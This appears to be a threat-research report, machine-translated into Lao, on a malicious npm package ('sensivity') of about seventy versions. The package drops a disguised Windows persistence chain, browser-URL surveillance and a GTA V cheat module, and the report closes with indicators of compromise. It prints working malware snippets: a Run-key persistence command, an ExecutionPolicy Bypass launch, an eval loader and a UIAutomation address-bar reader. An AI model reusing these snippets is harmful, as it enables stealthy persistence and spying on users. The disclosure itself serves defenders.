PairLoop: ແຜງຄວບຄຸມໄລຍະໄກທີ່ເຊື່ອງໄວ້ໃນແພັກເກດ npm

PairLoop: ຊຸດ npm ໜຶ່ງຊຸດ, ເຈັດສິບລຸ້ນ, ແລະແຜງຄວບຄຸມໄລຍະໄກ Windows ທີ່ເຊື່ອງໄວ້

TL; DR

ແພັກເກັດ npm ຄວາມອ່ອນໄຫວ ອະທິບາຍຕົວມັນເອງວ່າເປັນ "ແຜງຄວບຄຸມຄວາມອ່ອນໄຫວ." ໃນ Windows ມັນເຮັດໜ້າທີ່ເປັນເຄື່ອງມືຄວບຄຸມໄລຍະໄກ ແລະ ເຝົ້າລະວັງ.

ຈຸດເຂົ້າຂອງມັນ, launcher.js, ປ່ຽນຊື່ຂະບວນການຂອງຕົນເອງເປັນ Runtime Broker, ຂຽນຄ່າ Run-key ທີ່ເລີ່ມຕົ້ນໂດຍອັດຕະໂນມັດທີ່ມີຊື່ວ່າ OneDriveUpdate ທີ່ເປີດໃຊ້ແພັກເກດຄືນໃໝ່ຜ່ານ VBScript ທີ່ເຊື່ອງໄວ້, ຈະສ້າງ PowerShell ດ້ວຍ -ExecutionPolicy Bypass, ແລະຫຼັງຈາກນັ້ນປະເມີນ payload ຂອງເຊີບເວີທີ່ຖືກສັບສົນ 171 KB ພ້ອມກັບໂມດູນພື້ນເມືອງ 6.87 MB, sens.node.

ມັນໃຫ້ບໍລິການແຜງຄວບຄຸມການຈັບຄູ່ໂທລະສັບໃນພອດ TCP 3000 ແລະອ່ານ URL ແຖບທີ່ຢູ່ຂອງໂປຣແກຣມທ່ອງເວັບທີ່ໃຊ້ງານຜ່ານ Windows UIAutomation, ໂດຍເບິ່ງວິດີໂອ YouTube ທີ່ຖືກລະຫັດໄວ້ອັນໜຶ່ງ.

ສອງສ່ວນທີ່ກ່ອນໜ້ານີ້ອ່ານວ່າປະໄວ້ເປັນກ່ອງດຳດຽວນີ້ໄດ້ຮັບການແກ້ໄຂແລ້ວ. ເຊີບເວີທີ່ສັບສົນ, server.obf.js, ໃຊ້ໂຄງຮ່າງອາເຣສະຕຣິງ obfuscator.io RC4; ການຈັດຕັ້ງປະຕິບັດຕົວຖອດລະຫັດຂອງມັນຄືນໃໝ່ແບບອອບໄລນ໌ (ບໍ່ມີການໃຊ້ງານ JavaScript) ຈະກູ້ຄືນຈຸດສຸດທ້າຍພາຍນອກດຽວ — https://izopi.com/check.php — ພ້ອມກັບລະຫັດສາທາລະນະ RSA ທີ່ຝັງມາເຊິ່ງໃຊ້ເພື່ອກວດສອບການຕອບສະໜອງໃບອະນຸຍາດທີ່ລົງນາມແລ້ວ.

ໂມດູນພື້ນເມືອງ, sens.node, ບໍ່ໄດ້ບັນຈຸ: ຕາຕະລາງການນຳເຂົ້າ ແລະ ສະຕຣິງທີ່ຝັງຢູ່ຂອງມັນລະບຸວ່າມັນເປັນ DirectX 11 / Dear ImGui ໃນເກມທີ່ສະໜອງຄຸນສົມບັດ aimbot, ESP (wall-hack), ແລະ triggerbot, ຂັບເຄື່ອນໂດຍການສີດຂະບວນການໄລຍະໄກ ແລະ ການອ່ານ/ຂຽນໜ່ວຍຄວາມຈຳ.

ສະຕຣິງພາຍໃນມັນອ້າງອີງເຖິງໜ່ວຍງານຍານພາຫະນະ ແລະ ສະຖານທີ່ແຜນທີ່ທີ່ສອດຄ່ອງກັບ GTA V / FiveM. ແພັກເກດ npm ແມ່ນການຈັດສົ່ງ ແລະ ການຫຸ້ມຫໍ່ຄວາມຍືນຍົງອ້ອມຮອບໂມດູນພື້ນເມືອງນັ້ນ.

ສັນຍານທີ່ກຳນົດແມ່ນໃຊ້ງານໄດ້, ບໍ່ແມ່ນທາງດ້ານເຕັກນິກ: ຜູ້ເຜີຍແຜ່ທີ່ບໍ່ເປີດເຜີຍຊື່ຄົນໜຶ່ງໄດ້ປ່ອຍແພັກເກດໜຶ່ງປະມານເຈັດສິບລຸ້ນ — 2.5.0 ເຖິງ 2.5.69 — ຕະຫຼອດສອງສາມມື້, ແຕ່ລະອັນຖືປືນຍິງດຽວກັນ.

ບໍ່ມີການຕິດຕັ້ງ hookspayload ຈະເຮັດວຽກເມື່ອແພັກເກດຖືກເລີ່ມຕົ້ນເທົ່ານັ້ນ.

ການໂຈມຕີ: ມັນເຮັດວຽກແນວໃດ

sensivity ສົ່ງສິບໄຟລ໌. package.json ມີໜ້ອຍຫຼາຍ: ບໍ່ມີພາກສະໜາມ repository, ບໍ່ມີໃບອະນຸຍາດ, main ແລະສອງ bin aliases (sensivity, sens) ທັງໝົດຊີ້ໄປທີ່ launcher.js, ແລະ script ເລີ່ມຕົ້ນຂອງ node launcher.js. ບໍ່ມີການຕິດຕັ້ງຫຼັງ ຫຼື ການຕິດຕັ້ງລ່ວງໜ້າ. ບໍ່ມີຫຍັງເກີດຂຶ້ນໃນການຕິດຕັ້ງ npm. ພຶດຕິກຳທີ່ອະທິບາຍຂ້າງລຸ່ມນີ້ຈະເຮັດວຽກເມື່ອຜູ້ໃຊ້ເລີ່ມຕົ້ນແພັກເກດ - ຜ່ານ bin shim, script ເລີ່ມຕົ້ນ, ຫຼື require.

tarball ປະກອບດ້ວຍຕົວເປີດໃຊ້ງານ, ເຊີບເວີທີ່ຖືກສັບສົນ, ໂມດູນພື້ນເມືອງ, ສະຄຣິບ Visual Basic, ແລະໄດເລກະທໍລີ public/web ສຳລັບແຜງຄວບຄຸມ. launcher.js ແມ່ນຕົວຄວບຄຸມທີ່ສາມາດອ່ານໄດ້; ເຫດຜົນທີ່ສໍາຄັນໃນເວລາແລ່ນຢູ່ໃນສອງ blobs ທີ່ມັນໂຫຼດ - ເຊີບເວີທີ່ຖືກສັບສົນ ແລະໂມດູນພື້ນເມືອງທີ່ຖືກຄອມໄພລ໌ແລ້ວ, ທັງສອງໄດ້ຮັບການແກ້ໄຂຢູ່ດ້ານລຸ່ມ.

 ການປອມແປງຂະບວນການ ແລະ ຕົວອັບເດດ OneDrive ປອມ

ໃນຕອນຕົ້ນຂອງການປະຕິບັດ launcher.js ກຳນົດຊື່ຂະບວນການຂອງຕົນເອງສອງຄັ້ງ:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker ເປັນໂປຣເຊສ Windows ທີ່ຖືກຕ້ອງຕາມກົດໝາຍ (RuntimeBroker.exe) ທີ່ເປັນສື່ກາງໃນການອະນຸຍາດຂອງແອັບ. ການປ່ຽນຊື່ໂປຣເຊສ Node ໃຫ້ກົງກັບມັນໝາຍເຖິງການເບິ່ງ Task Manager ຢ່າງວ່ອງໄວ ເຊິ່ງບໍ່ສະແດງຫຍັງຜິດປົກກະຕິ.

ການຄົງຕົວຖືກຂຽນຜ່ານ PowerShell ແທນທີ່ຈະເປັນ API registry ໂດຍກົງ:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

ຄ່າເລີ່ມຕົ້ນອັດຕະໂນມັດມີຊື່ວ່າ OneDriveUpdate, ແລະມັນບໍ່ໄດ້ຊີ້ໄປທີ່ແພັກເກດໂດຍກົງ. ມັນຊີ້ໄປທີ່ wscript.exe ທີ່ກຳລັງແລ່ນ OneDrive.Standalone.Updater.vbs ທີ່ມັດໄວ້. ສະຄຣິບນັ້ນເປີດໃຊ້ node launcher.js ຄືນໃໝ່ໃນໜ້າຕ່າງທີ່ເຊື່ອງໄວ້. ທັງຊື່ Run-key ແລະຊື່ໄຟລ໌ VBScript ຢືມຍີ່ຫໍ້ Microsoft, ດັ່ງນັ້ນລາຍການເລີ່ມຕົ້ນອັດຕະໂນມັດຈຶ່ງອ່ານຄືກັບໜ້າວຽກ OneDrive ປົກກະຕິ.

PowerShell ດ້ວຍການຂ້າມນະໂຍບາຍການປະຕິບັດ

ຕົວເປີດໃຊ້ຈະສົ່ງໄປຫາ PowerShell ຊ້ຳແລ້ວຊ້ຳອີກ. ຊິ້ງທີ່ເຄື່ອງສະແກນໝາຍວ່າສຳຄັນແມ່ນການເປີດຕົວ .ps1 ທີ່ສ້າງຂຶ້ນໂດຍປິດນະໂຍບາຍການປະຕິບັດ:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ການຂ້າມນະໂຍບາຍການປະຕິບັດຈະລຶບການກວດສອບການເຊັນສະຄຣິບທ້ອງຖິ່ນສຳລັບການຮຽກຮ້ອງນັ້ນ. ສະຄຣິບທີ່ສ້າງຂຶ້ນຈະຈັດການກັບວຽກງານການເຝົ້າລະວັງຂອງໂປຣແກຣມທ່ອງເວັບ ແລະ ການກວດຈັບໜ້າຕ່າງທີ່ໄດ້ອະທິບາຍໄວ້ໃນພາກຕໍ່ໄປ.

ເຊີບເວີທີ່ຖືກສັບສົນ ແລະ ໂມດູນພື້ນເມືອງ

ຫຼັງຈາກຕິດຕັ້ງແລ້ວ, launcher.js ຈະໂຫຼດ ແລະ ປະຕິບັດ payload ຕົວຈິງຂອງມັນ:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js ມີຂະໜາດ 171 KB ຂອງ _0x-array obfuscation — ຮູບແບບ JavaScript ບ່ອນທີ່ທຸກໆສະຕຣິງ ແລະ ຕົວລະບຸຖືກແທນທີ່ດ້ວຍດັດຊະນີເຂົ້າໄປໃນອາເຣທີ່ຖືກສັບປ່ຽນ, ຈາກນັ້ນຍົກເລີກການອ້າງອີງໃນເວລາແລ່ນ. ແຜນການແມ່ນຕົວແປ RC4 ທີ່ຜະລິດໂດຍ obfuscator.io: ຟັງຊັນຖອດລະຫັດດຽວ base64 ຖອດລະຫັດລາຍການອາເຣ ແລະຫຼັງຈາກນັ້ນ RC4 ຖອດລະຫັດມັນດ້ວຍຄີຕໍ່ການເອີ້ນ. ການຈັດຕັ້ງປະຕິບັດຕົວຖອດລະຫັດນັ້ນຄືນໃໝ່ໃນສະຄຣິບແຍກຕ່າງຫາກ — ການດໍາເນີນການປະຕິບັດຄືນໃໝ່ຜ່ານອາເຣສະຕຣິງ 821-entry ທີ່ຖືກສະກັດອອກ, ບໍ່ເຄີຍໃຊ້ JavaScript ຂອງແພັກເກດເອງ — ຜ່ອນຄາຍມັນຢ່າງສະອາດ. ສິ່ງທີ່ປາກົດຂຶ້ນແມ່ນຂ້ອນຂ້າງເລັກນ້ອຍແຕ່ decisive: URL ພາຍນອກໜຶ່ງອັນ, https://izopi.com/check.php`, ຖືກກຳນົດໃຫ້ກັບຄ່າຄົງທີ່ LICENSE_URL; RSA PUBLIC_KEY_PEM` ທີ່ຝັງຢູ່; ແຜງຄວບຄຸມທ້ອງຖິ່ນສົ່ງເສັ້ນທາງ /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, ແລະ /trigger/status; ແລະສະຕຣິງ child_process, crypto, ແລະ [Sensivity] sens.node ຖືກໂຫຼດແລ້ວ — ອັນສຸດທ້າຍແມ່ນບັນທັດບັນທຶກທີ່ແນ່ນອນທີ່ຕົວເປີດໃຊ້ຂຽນຄືນໃໝ່ໃສ່ໂມດູນໂປຣແກຣມທີ່ຖືກໂຫຼດ. ຈຸດສິ້ນສຸດແມ່ນການກວດສອບໃບອະນຸຍາດ: ລູກຄ້າໂພສຕົວລະບຸ (ເຊີບເວີທີ່ຖືກສັບສົນຈັດຮູບແບບ ID Discord: %s ສະຕຣິງ) ແລະກະແຈ RSA ກວດສອບການຕອບສະໜອງທີ່ເຊັນແລ້ວຂອງເຊີບເວີ.

sens.node ເປັນ addon ພື້ນເມືອງທີ່ຖືກຄອມໄພລ໌ແລ້ວຂະໜາດ 6.87 MB, ແລະມັນບໍ່ໄດ້ຖືກຫຸ້ມຫໍ່ - entropy ຂອງພາກສ່ວນຢູ່ທີ່ 5.6–6.6 ແລະຕາຕະລາງການນຳເຂົ້າ ແລະ ສົ່ງອອກ PE ແມ່ນຄົບຖ້ວນ, ສະນັ້ນຄວາມສາມາດຂອງມັນສາມາດອ່ານໄດ້ໂດຍກົງ. ມັນສົ່ງອອກ napi_register_module_v1, standard ຈຸດເຂົ້າ N-API ຂອງໂຫນດ, ດັ່ງນັ້ນເຊີບເວີທີ່ຖືກປະເມີນຈຶ່ງໂຫຼດມັນດ້ວຍຄວາມຕ້ອງການທຳມະດາ. ຕາຕະລາງການນຳເຂົ້າຂອງມັນແມ່ນຕົວຊີ້ບອກ. ຈາກ KERNEL32 ມັນດຶງ OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, ແລະ Process32First/NextW — ຊຸດມາດຕະຖານສຳລັບການຊອກຫາຂະບວນການອື່ນ, ການຈັດສັນໜ່ວຍຄວາມຈຳພາຍໃນມັນ, ແລະການອ່ານ ຫຼື ຂຽນໜ່ວຍຄວາມຈຳນັ້ນ. ຈາກ USER32 ມັນດຶງ GetAsyncKeyState, GetKeyState, mouse_event, ແລະ SetCursorPos; ມັນເຊື່ອມຕໍ່ d3d11.dll, D3DCOMPILER_43, ແລະ dwmapi ສຳລັບການຊ້ອນທັບຢູ່ໜ້າຈໍ, ແລະຊຸດ WINHTTP ເຕັມສຳລັບການໂທຫາເຄືອຂ່າຍ. ສະຕຣິງທີ່ຝັງຢູ່ຂອງມັນຕັ້ງຊື່ຊຸດຄຸນສົມບັດໂດຍບໍ່ມີຄວາມບໍ່ແນ່ນອນ: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, ແລະປ້າຍໂຄສະນາ Dear ImGui Dear ImGui 1.91.3 WIP. ສະຕຣິງສະຖານທີ່ ແລະ ໜ່ວຍງານ ເຊັ່ນ Grapeseed Medical Clinic ແລະ ຄຳສັບ vehicle-ESP ແມ່ນສອດຄ່ອງກັບ GTA V / FiveM.

ການແບ່ງແຍກແມ່ນມີເຈດຕະນາໃນຜົນກະທົບ: launcher.js ທີ່ສາມາດອ່ານໄດ້ມີພຽງສ່ວນທີ່ເຄື່ອງສະແກນອ່ານໄດ້ງ່າຍ - persistence, masquerade, ການເອີ້ນ eval ເອງ - ໃນຂະນະທີ່ obfuscation ເຊື່ອງ runtime contact ຂອງໂຮສພາຍນອກອັນດຽວ, ແລະ binary ເກັບຮັກສາ game-overlay ແລະ process-injection logic. launcher ແມ່ນ shell ທີ່ບາງ ແລະ ສາມາດກວດສອບໄດ້; server obfuscated ເຊື່ອງ network identity; native module ແມ່ນ payload. ພວກເຮົາອະທິບາຍການນໍາເຂົ້າ ແລະ strings ຂອງ binary ວ່າ read; ພວກເຮົາບໍ່ໄດ້ອະນຸມານຈຸດປະສົງຂອງ operator ຈາກພວກມັນ.

 ແຜງຄວບຄຸມການຈັບຄູ່ໂທລະສັບຢູ່ພອດ 3000

ຕົວເປີດໃຊ້ຈັດການເຊີບເວີເວັບທ້ອງຖິ່ນໃນພອດ TCP 3000 ແລະປະຕິບັດຕໍ່ມັນເປັນ singleton. ມັນຈະສອບຖາມ listener ທີ່ມີຢູ່ແລ້ວ ແລະລຶບມັນກ່ອນທີ່ຈະຜູກມັດ:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

ແຜງຄວບຄຸມສາມາດຕິດຕໍ່ໄດ້ທີ່ http://localhost:3000, ດ້ວຍ URL ສຳຮອງ LAN ທີ່ຖືກລະຫັດໄວ້ເປັນ http://192.168.1.16:3000. ໄດເລກະທໍລີ public/ ແລະ ພຶດຕິກຳຂອງແຜງຄວບຄຸມແມ່ນສອດຄ່ອງກັບຂັ້ນຕອນການຈັບຄູ່ QR: ໂທລະສັບສະແກນລະຫັດ ແລະ ຜູກມັດກັບໂຮສເປັນຣີໂໝດ. ບໍ່ມີໂດເມນຄຳສັ່ງ ແລະ ການຄວບຄຸມພາຍນອກປາກົດຢູ່ໃນຂໍ້ຄວາມທີ່ຊັດເຈນໃນຕົວເປີດໃຊ້ - ແຕ່, ດັ່ງທີ່ການຖອດລະຫັດການລົບກວນຂ້າງເທິງສະແດງໃຫ້ເຫັນ, ມີໂດເມນໜຶ່ງຢູ່ໃນເຊີບເວີທີ່ຖືກລົບກວນ: ຈຸດສິ້ນສຸດໃບອະນຸຍາດ izopi.com. ແຜງຄວບຄຸມຕົວມັນເອງແມ່ນທ້ອງຖິ່ນ ແລະ ມີຂອບເຂດ LAN; ໂຮສອອກດຽວແມ່ນການກວດສອບໃບອະນຸຍາດນັ້ນ.

ຮູບແບບຜູ້ຄວບຄຸມ/ຜູ້ເຮັດວຽກທີ່ແຍກອອກມາເຮັດໃຫ້ຂະບວນການມີຊີວິດຢູ່. ຕົວເປີດໃຊ້ງານຈະເກີດໃໝ່ດ້ວຍທຸງສະພາບແວດລ້ອມ SENSIVITY_SUPERVISOR ແລະ SENSIVITY_WORKER, ແຕ່ລະຂະບວນການຍ່ອຍທີ່ເຮັດວຽກຖືກເຊື່ອງໄວ້, ສະນັ້ນການຢຸດຂະບວນການໜຶ່ງຈະເຮັດໃຫ້ໜ່ວຍເຝົ້າລະວັງເລີ່ມຕົ້ນໃໝ່.

ການເຝົ້າລະວັງໂປຣແກຣມທ່ອງເວັບ ແລະ ສັນຍານ YouTube

ພຶດຕິກຳສະເພາະເຈາະຈົງທີ່ສຸດແມ່ນການຕິດຕາມເບຣົາເຊີ. launcher.js ສ້າງ PowerShell ທີ່ຂັບເຄື່ອນ Windows UIAutomation ໃຫ້ອ່ານແຖບທີ່ຢູ່ຂອງເບຣົາເຊີທີ່ກຳລັງເຮັດວຽກຢູ່:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern ສົ່ງຄືນເນື້ອໃນຂໍ້ຄວາມຂອງອົງປະກອບ UI. ເມື່ອນຳໃຊ້ກັບຕົວຄວບຄຸມການແກ້ໄຂແຖບທີ່ຢູ່ຂອງບຣາວເຊີ, ມັນຈະສົ່ງຄືນ URL ທີ່ຜູ້ຖືກເຄາະຮ້າຍກຳລັງເບິ່ງຢູ່ - ໂດຍບໍ່ມີສ່ວນຂະຫຍາຍຂອງບຣາວເຊີ, ໂດຍບໍ່ຕ້ອງແຕະໂປຣໄຟລ໌ໃນແຜ່ນດິດ, ແລະ ໂດຍບໍ່ມີ API hook. ສະຄຣິບທີ່ສ້າງຂຶ້ນຈະເຮັດຊ້ຳລາຍຊື່ $browserNames ແລະ ສະກັດ URL ຫຼື ຊື່ໜ້າຕ່າງຂອງບຣາວເຊີໃດກໍ່ຕາມທີ່ຢູ່ເບື້ອງໜ້າ.

URL ນັ້ນຖືກທົດສອບຕໍ່ກັບເປົ້າໝາຍທີ່ຖືກລະຫັດໄວ້ອັນດຽວ:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

ຕົວເປີດໃຊ້ຈະສຳຫຼວດໃນວົງວຽນສາມວິນາທີສຳລັບໜ້າຕ່າງໂປຣແກຣມທ່ອງເວັບທີ່ສະແດງ YouTube, ແລະ PowerShell ທີ່ສ້າງຂຶ້ນຈະມີຄູ່ Get-YouTubeBrowser / Test-TargetYouTubeUrl ທີ່ກົງກັບ ID ວິດີໂອນັ້ນ. ຜົນກະທົບທີ່ສັງເກດເຫັນໄດ້ມີສອງຢ່າງຄື: URL ການທ່ອງເວັບທີ່ໃຊ້ງານຢູ່ຈະຖືກອ່ານອອກຈາກໜ້າຈໍຂອງຜູ້ຖືກເຄາະຮ້າຍ, ແລະ ການພົວພັນຂອງຜູ້ເປັນເຈົ້າພາບກັບວິດີໂອ YouTube ສະເພາະໜຶ່ງຖືກກວດພົບ. ພວກເຮົາອະທິບາຍກົນໄກ ແລະ ເປົ້າໝາຍ; ພວກເຮົາບໍ່ໄດ້ອະນຸມານແຮງຈູງໃຈຈາກພວກມັນ.

ການອ່ານແຖບທີ່ຢູ່ແມ່ນສິ່ງທີ່ເຄື່ອງສະແກນຕິດປ້າຍວ່າ sensitive_data_enumeration — ເປັນແຫຼ່ງຂໍ້ມູນ Process::env ແລະ UIAutomation ທີ່ໃຫ້ຂໍ້ມູນ runtime ທີ່ມີຄວາມສາມາດໃນເຄືອຂ່າຍ. ມັນເບິ່ງຄືວ່າບໍ່ເປັນອັນຕະລາຍເມື່ອໂດດດ່ຽວ ແລະ ແກ້ໄຂໃຫ້ມີການເຝົ້າລະວັງເມື່ອວົງຈອນຊີວິດຂອງຂໍ້ມູນຖືກຕິດຕາມຈາກແຫຼ່ງຂໍ້ມູນ UIAutomation ໄປຫາເຊີບເວີທີ່ຖືກປິດບັງ.

ເສັ້ນເວລາ ແລະ ວິວັດທະນາການຂອງລຸ້ນ

ຄວາມອ່ອນໄຫວບໍ່ແມ່ນການອັບໂຫຼດຄັ້ງດຽວ. ບັນຊີຜູ້ເຜີຍແຜ່ມີປະມານເຈັດສິບລຸ້ນທີ່ເຜີຍແຜ່ແລ້ວຂອງແພັກເກດດຽວນີ້, ແລະລຸ້ນໃໝ່ກໍ່ມາຮອດເລື້ອຍໆໃນຊ່ວງເວລາທົບທວນ. ຕົວເປີດໃຊ້ຈະຂະຫຍາຍຄຸນສົມບັດໂດຍຄຸນສົມບັດໃນທົ່ວສາຍ 2.5.x ໃນຂະນະທີ່ຄວາມຍືນຍົງ ແລະ ການໂຫຼດ payload ຂອງມັນຍັງຄົງທີ່.

ວັນທີ (UTC) ລຸ້ນທີ່ສັງເກດເຫັນ ສະຖານະຕົວເປີດໃຊ້
2026-06-02 2.5.8 - 2.5.46 (25​) ຕົວເປີດໃຊ້ແຜງ QR ພື້ນຖານ; ການຄົງຢູ່ຂອງປຸ່ມແລ່ນ; ການປະເມີນເຊີບເວີທີ່ຖືກສັບສົນ.
2026-06-03 2.5.53 - 2.5.61 (6​) ລາຍນິ້ວມືດຽວກັນ; ການສະກັດກັ້ນການຕິດຕາມຄອນໂຊນ.
2026-06-04 2.5.67, 2.5.68 (2​) ເພີ່ມເປົ້າໝາຍການມີສ່ວນຮ່ວມຂອງ YouTube ທີ່ປັກໝຸດໄວ້ wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24​) ການຕື່ມຊ່ອງຫວ່າງໃຫ້ຄົບຖ້ວນ; ຜູ້ຄວບຄຸມ/ຜູ້ເຝົ້າລະວັງພະນັກງານ.

ການອ່ານຕົວເປີດໃຊ້ຜ່ານຕົວແທນທີ່ດາວໂຫຼດມາ — 2.5.0, 2.5.36, ແລະ 2.5.69 — ສະແດງໃຫ້ເຫັນສີ່ຊັ້ນ. ລຸ້ນທຳອິດມີຕົວເປີດໃຊ້ການຈັບຄູ່ QR ພື້ນຖານ. ຕັ້ງແຕ່ 2.5.33, ຕົວເກັບກ່ຽວແຖບທີ່ຢູ່ UIAutomation ຈະປາກົດຂຶ້ນ. ຕັ້ງແຕ່ 2.5.58, ຊັ້ນການຄຸ້ມຄອງຜູ້ຄວບຄຸມຈະຖືກເພີ່ມເຂົ້າມາ. ຕັ້ງແຕ່ 2.5.64, ຕົວຄວບຄຸມ/ຜູ້ເບິ່ງແຍງຜູ້ເຮັດວຽກທີ່ແຍກອອກມາຈະເຮັດໃຫ້ຊຸດດັ່ງກ່າວສຳເລັດ. ຕະຫຼອດ, ມີສີ່ຢ່າງທີ່ບໍ່ເຄີຍປ່ຽນແປງ: ລະຫັດ OneDriveUpdate Run, ຕົວຫຼຸດ OneDrive.Standalone.Updater.vbs, ຕົວກວດສອບ eval'd server.obf.js, ແລະໂມດູນພື້ນເມືອງ sens.node.

ຄື້ນວັນທີ 2026-06-05 ແມ່ນໜ້າສັງເກດເພາະມັນໄດ້ເຜີຍແຜ່ຕົວເລກລຸ້ນຕ່ຳຄືນໃໝ່ - 2.5.0 ຫາ 2.5.15 - ເຊິ່ງຢູ່ຕ່ຳກວ່າລຸ້ນທີ່ຢືນຢັນກ່ອນໜ້ານີ້ຫຼາຍມື້. ຜົນກະທົບແມ່ນເສັ້ນ 2.5.x ທີ່ຕິດກັນໃນ registry, ແຕ່ລະລຸ້ນມີຕົວເປີດໃຊ້ງານດຽວກັນ.

ຕົວຊີ້ວັດຂອງການປະນີປະນອມ

ຕົວຊີ້ວັດທັງໝົດຂ້າງລຸ່ມນີ້ໄດ້ຖືກອ່ານໂດຍກົງຈາກແພັກເກດ tarball. ຕົວເປີດໃຊ້ທີ່ສາມາດອ່ານໄດ້ມີພຽງແຕ່ loopback ແລະທີ່ຢູ່ LAN ສ່ວນຕົວອັນດຽວ; ຊື່ໂຮສພາຍນອກອັນດຽວ, izopi.com, ໄດ້ຖືກກູ້ຄືນໂດຍການ deobfuscating server.obf.js ແບບອອບໄລນ໌.

ປະເພດ ຕົວຊີ້ວັດ ອ່ືນ
Package npm:sensivity (≈70 ລຸ້ນ, 2.5.0-2.5.69) ຜູ້ເຜີຍແຜ່ຊຸດດຽວ; ບໍ່ມີບ່ອນເກັບຂໍ້ມູນ; ບໍ່ໄດ້ຮັບອະນຸຍາດ.
ເອກະສານ launcher.js ຜູ້ປະສານງານທີ່ອ່ານໄດ້; ເປົ້າໝາຍຫຼັກ ແລະ ເປົ້າໝາຍຖັງຂີ້ເຫຍື້ອ.
ເອກະສານ server.obf.js (≈171 KB) obfuscator.io RC4 string-array payload, ໂຫຼດຜ່ານ eval(fs.readFileSync(...)).
ເອກະສານ sens.node (≈6.87 MB) ໂປຣແກຣມເສີມ N-API ຂອງ PE32+ x86-64 Node; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
ເອກະສານ OneDrive.Standalone.Updater.vbs ຕົວເປີດໃຊ້ຄືນໃໝ່ທີ່ເຊື່ອງໄວ້ (node launcher.js).
ເຄືອຂ່າຍ https://izopi.com/check.php ຈຸດສິ້ນສຸດໃບອະນຸຍາດ/ການພິສູດຢືນຢັນຖືກກູ້ຄືນມາຈາກເຊີບເວີທີ່ຖືກສັບສົນ; ກະແຈສາທາລະນະ RSA ທີ່ຝັງຢູ່ຈະຢືນຢັນການຕອບສະໜອງ.
ຄວາມສາມາດ OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread ການສີດຂະບວນການໄລຍະໄກ ແລະ ຄວາມສາມາດໃນການອ່ານ/ຂຽນໜ່ວຍຄວາມຈຳ.
ຄວາມສາມາດ Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP ການຊ້ອນທັບເກມ DirectX 11 / ImGui ທີ່ນຳໃຊ້ຄຸນສົມບັດ aimbot, ESP, ແລະ triggerbot.
Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate ຄ່າເລີ່ມຕົ້ນອັດຕະໂນມັດຊີ້ໄປທີ່ wscript.exe ແລະຕົວເປີດໃຊ້ VBScript.
ຂະບວນການ process.title = 'Runtime Broker' ປອມຕົວເປັນຂະບວນການ Windows Runtime Broker ທີ່ຖືກຕ້ອງຕາມກົດໝາຍ.
ພຶດຕິກໍາ powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 ການໂອນນະໂຍບາຍການປະຕິບັດທີ່ໃຊ້ສຳລັບສະຄຣິບ PowerShell ທີ່ສ້າງຂຶ້ນ.
ພຶດຕິກໍາ UIAutomation ValuePattern ອ່ານແຖບທີ່ຢູ່ຂອງໂປຣແກຣມທ່ອງເວັບ ອ່ານ URL ຂອງໜ້າຕ່າງໂປຣແກຣມທ່ອງເວັບທີ່ຢູ່ດ້ານໜ້າ.
ພຶດຕິກໍາ ລະຫັດວິດີໂອເປົ້າໝາຍ wJWta2lO0Lwການສຳຫຼວດຄວາມຄິດເຫັນຂອງ YouTube 3 ວິນາທີ ສັນຍານຕິດຕາມການມີສ່ວນຮ່ວມທີ່ປັກໝຸດໄວ້.
ເຄືອຂ່າຍ http://localhost:3000, ທາງເລືອກ http://192.168.1.16:3000 ແຜງຄວບຄຸມການຈັບຄູ່ QR ເປີດເຜີຍໃນທ້ອງຖິ່ນ ແລະ ຢູ່ໃນ LAN.
ສະພາບແວດລ້ອມ SENSIVITY_SUPERVISOR, SENSIVITY_WORKER ທຸງປະສານງານຂະບວນການເຝົ້າລະວັງທີ່ຖືກແຍກອອກ.

ການອ້າງອີງ, ຜົນກະທົບ ແລະ ຜູ້ປົກປ້ອງ

